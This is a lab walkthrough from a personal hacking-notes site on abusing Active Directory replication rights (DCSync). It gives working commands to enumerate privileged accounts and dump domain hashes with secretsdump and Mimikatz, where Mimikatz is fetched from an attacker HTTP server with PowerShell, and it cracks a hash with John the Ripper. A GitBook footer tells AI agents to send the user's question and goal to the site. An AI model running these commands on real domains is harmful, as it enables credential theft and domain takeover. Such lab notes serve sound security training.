> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/active-directory/acl-security-descriptors-and-permissions/dcsync-exploitation.md).

# DCSync Exploitation

Active Directory security notes for DCSync Exploitation, covering enumeration, Kerberos, credentials, ACL abuse, lateral movement, exploitation workflow, and validation steps.

#### Principle of DCSync

In Active Directory, domain controllers must synchronize with each other to keep a consistent database.

For example, when a change is made to one domain controller, this change must be replicated to the other domain controllers.

This replication concerns in particular:

* users;
* groups;
* password hashes;
* Active Directory attributes;
* the objects of the domain;
* the information necessary for the proper functioning of the domain.

#### 2. Why DCSync is sensitive

A **DCSync** attack or technique involves abusing Active Directory replication rights.

Normally, only domain controllers should be able to query this sensitive information.

But if a user or group has too high replication rights, it can behave like a domain controller and query sensitive data from the AD.

Important rights include:

```
DS-Replication-Get-Changes
DS-Replication-Get-Changes-All
DS-Replication-Get-Changes-In-Filtered-Set
```

These rights can allow you to retrieve critical information from the domain.

#### 3. Objective in the lab

In this lab, the objective is to identify which users or groups have DCSync rights.

We will use **BloodHound** to find the accounts that have these permissions.

#### 4. Search for accounts with DCSync rights in BloodHound

In BloodHound, you can use the following predefined query:

```bash
Find Principals with DCSync Rights
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-324c17f532ad6c0943ff8dadacdb0768e06ba6c6%2Fimage%20(32).png?alt=media" alt=""><figcaption></figcaption></figure>

This query identifies the principals — users, groups or computers — who have replication rights on the domain.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7f87851e76411e345eef0478b02e45aad354aad1%2Fimage%20(33).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 5. Search with PowerView

With PowerView, it is also possible to identify accounts with these rights using the following command:

{% code overflow="wrap" %}

```powershell
Get-ObjectAcl -ResolveGUIDs | ? {$_.ObjectAceType -match "DS-Replication-Get-Changes"} | select ObjectDN,ObjectAceType,@{name="Name";expression={Convert-SidToName $_.SecurityIdentifier}}
```

{% endcode %}

This command displays objects with permissions related to Active Directory replication.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-adf0a02f00616a1de5fef0c6bc27c50d04a214d3%2Fimage%20(34).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 6. Changing the password of the targeted account

In the lab, we then change the password of the identified account in order to be able to use it for exploitation.

Password used:

```
Password1@
```

#### 7. Remote exploitation with secretsdump

You can then use `secretsdump.py` to use DCSync rights remotely:

{% code overflow="wrap" %}

```bash
secretsdump.py 'whoami.local/hyacinthe.maryrose:'Password1@'@172.16.0.100'
```

{% endcode %}

This makes it possible to recover sensitive information accessible thanks to the account's replication rights.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-05d91edb4734defbe033937059aa5b09e6ae17d0%2Fimage%20(3278).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 8. Using Mimikatz on a Windows machine

{% embed url="<https://github.com/gentilkiwi/mimikatz>" %}

We then download Mimikatz as a `.zip` archive, then transfer the executable to the lab's Windows machine.

On the attacking machine, we launch an HTTP server:

{% code overflow="wrap" %}

```wasm
python3 -m http.server 8000
```

{% endcode %}

From the Windows machine, we download the executable

{% code overflow="wrap" %}

```powershell
(New-Object System.NET.WebClient).DownloadFile('http://172.16.0.2:8000/mimikatz.exe', 'mimikatz.exe')
```

{% endcode %}

Then we execute it:

{% code overflow="wrap" %}

```powershell
. ./mimikatz.exe
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e97cd7606aab63c9228f47f1cec16a986c4363b%2Fimage%20(3274).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 9. Retrieving the administrator hash

With Mimikatz, you can query the replication of the secrets of a specific user, for example the administrator account:

{% code overflow="wrap" %}

```powershell
lsadump::dcsync /user:whoami/administrador
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9b2bd12c98fc32e3f02a3883b5b811492fc72eac%2Fimage%20(3275).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 10. Retrieving the hashes of all users

It is also possible to query information for all users in the domain:

{% code overflow="wrap" %}

```powershell
lsadump::dcsync /whoami:whoami.local /all /csv
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aa92ec9a1cfa496a6986185fb45a1acedc62f47e%2Fimage%20(3276).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 12. Preparing the hash for cracking

We then place the recovered hash in a file in a format compatible with John the Ripper:

{% code overflow="wrap" %}

```bash
echo Administrador:500:aad3b435b51404eeaad3b435b51404ee:a87f3a337d73085c45f9416be5787d86::: > admin.hash
```

{% endcode %}

Then we start cracking the NTLM hash:

{% code overflow="wrap" %}

```bash
john --format=NT admin.hash
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bcab24bfbc58a151d4d184e27953aa66798873db%2Fimage%20(3279).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/active-directory/acl-security-descriptors-and-permissions/dcsync-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
